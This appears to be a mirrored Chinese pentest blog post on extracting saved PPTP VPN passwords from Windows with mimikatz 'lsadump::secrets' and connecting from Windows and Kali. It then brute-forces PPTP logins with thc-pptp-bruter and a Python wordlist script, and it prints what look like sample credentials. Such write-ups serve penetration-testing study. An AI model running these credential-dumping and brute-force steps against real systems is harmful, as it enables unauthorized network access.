13

渗透技巧——PPTP口令的获取与爆破

 3 years ago
source link: https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-PPTP%E5%8F%A3%E4%BB%A4%E7%9A%84%E8%8E%B7%E5%8F%96%E4%B8%8E%E7%88%86%E7%A0%B4/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

0x00 前言


PPTP(即点对点隧道协议)可以使远程用户通过拨入ISP访问企业内网。

在渗透测试中,如果获得了用户的PPTP口令,就能远程拨入内网,做进一步渗透。

本文将要介绍命令行下导出PPTP配置信息和口令的方法,开源PPTP口令爆破的脚本

0x01 简介


本文将要介绍以下内容:

  • Windows系统命令行下PPTP配置信息和口令的获取
  • Windows系统命令行开启和关闭VPN连接
  • Windows系统连接PPTP的方法和细节
  • Kali系统连接PPTP的方法和细节
  • PPTP口令爆破的脚本细节

0x02 Windows系统命令行下PPTP配置信息和口令的获取


1、获取PPTP配置信息

Windows系统拨号和宽带连接的配置信息存储在固定位置,路径如下:

%APPDATA%\Microsoft\Network\Connections\Pbk\rasphone.pbk

查看该文件即可获得PPTP连接的配置信息,包括服务器IP,不包含连接用户名和口令

VPN连接的名称为VPN Connection,如下图

Alt text

PhoneNumber表示连接的服务器IP,如下图

Alt text

2、获得内网IP

ipconfig

获得内网IP,如下图

Alt text

3、获得PPTP口令

使用工具mimiaktz,命令如下:

mimikatz.exe privilege::debug token::elevate lsadump::secrets exit

获得连接用户名和口令,如下图

Alt text

4、命令行下连接VPN

rasdial "VPN Connection" zhaodg oZ7iFk25
Alt text

5、命令行关闭VPN连接

rasphone -h "VPN Connection"

0x03 Windows系统PPTP连接的方法和细节


Alt text
Alt text
Alt text

4.选择创建新连接

5.填入服务器IP,选中稍后连接

Alt text

6.填入用户名口令

7.点击连接后,选择跳过

接下来修改VPN属性,Security->Type of VPN,选择Point to Point Tunneling Protocol(PPTP)

Alt text

注:

创建成功后,指定Point to Point Tunneling Protocol(PPTP)可缩短连接等待的时间

0x04 Kali系统PPTP连接的方法和细节


方法1:通过界面

apt-get install network-manager-pptp network-manager-pptp-gnome

Settings->Network->VPN

Alt text

Identity->Advanced...

去掉PAP,CHAP,EAP

选择Use Point-to-Point encryption(MPPE)

Alt text

注:

如果无法连接,修改文件/etc/NetworkManager/NetworkManager.conf

managed=false修改成managed=true

方法2:通过pptpsetup

pptpsetup --create vpn --server 5x.xxx.xxx.xx2 --username zhaodg --password oZ7iFk25 --encrypt --start

远程IP为192.168.0.1,如下图

Alt text

2.修改路由表

将默认路由表修改为远程IP

route del default
route add default gw 192.168.0.1

0x05 PPTP口令爆破


PPTP服务器默认开放1723端口

1、PPTP brute forcer

https://github.com/BlackArch/thc-pptp-bruter

kali默认支持

通过字典爆破的命令如下:

cat wordlist | thc-pptp-bruter -u zhaodg <IP>
Alt text

注:

PPTP搭建于centos

2、编写python脚本实现

有些设备的PPTP无法使用PPTP brute forcer进行爆破

于是尝试使用python调用pptpsetup实现

通过os.popen执行命令,测试代码如下:

import os
def test_vpn(ip,name,password):
	command = 'pptpsetup --create testvpn --server '+ip+' --username '+name+' --password '+password+' --encrypt --start'
	print command
	vpn_status =  os.popen(command).read()
	print vpn_status

if __name__ == '__main__':
	test_vpn('5x.xxx.xxx.xx2','zhaodg','oZ7iFk25')

测试过程中出现bug:

如果登录成功,进程pptp不会退出,导致脚本阻塞,无法获得回显

只有结束进程pptp后,才能获得回显

所以这里需要使用子进程的方式实现:

子进程执行pptpsetup命令,父进程不等待

随之产生新的问题:

如何获得子进程的结果,判断是否登录成功

这里选择一个简单直接的方法:

等待10秒,然后执行ifconfig,如果登录成功,会产生新的网卡设备ppp0,否则,当前用户名口令错误

登录成功后,选择清理进程,执行命令:

pkill pptp

清除连接信息:

pptpsetup --delete testvpn

完整代码可参考:

https://github.com/3gstudent/Homework-of-Python/blob/master/pptp_password_hack.py

代码会读取文件wordlist,获得口令字典,对指定IP尝试连接,连接成功后记录口令,清除进程和连接

测试如下图

Alt text

0x06 小结


本文介绍了命令行下导出PPTP配置信息和口令的方法,通过命令行能够实现开启和关闭VPN连接。

实例演示了Windows和Kali系统连接PPTP的方法,最后开源了调用pptpsetup实现PPTP口令爆破的脚本,分析脚本实现细节。


LEAVE A REPLY


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK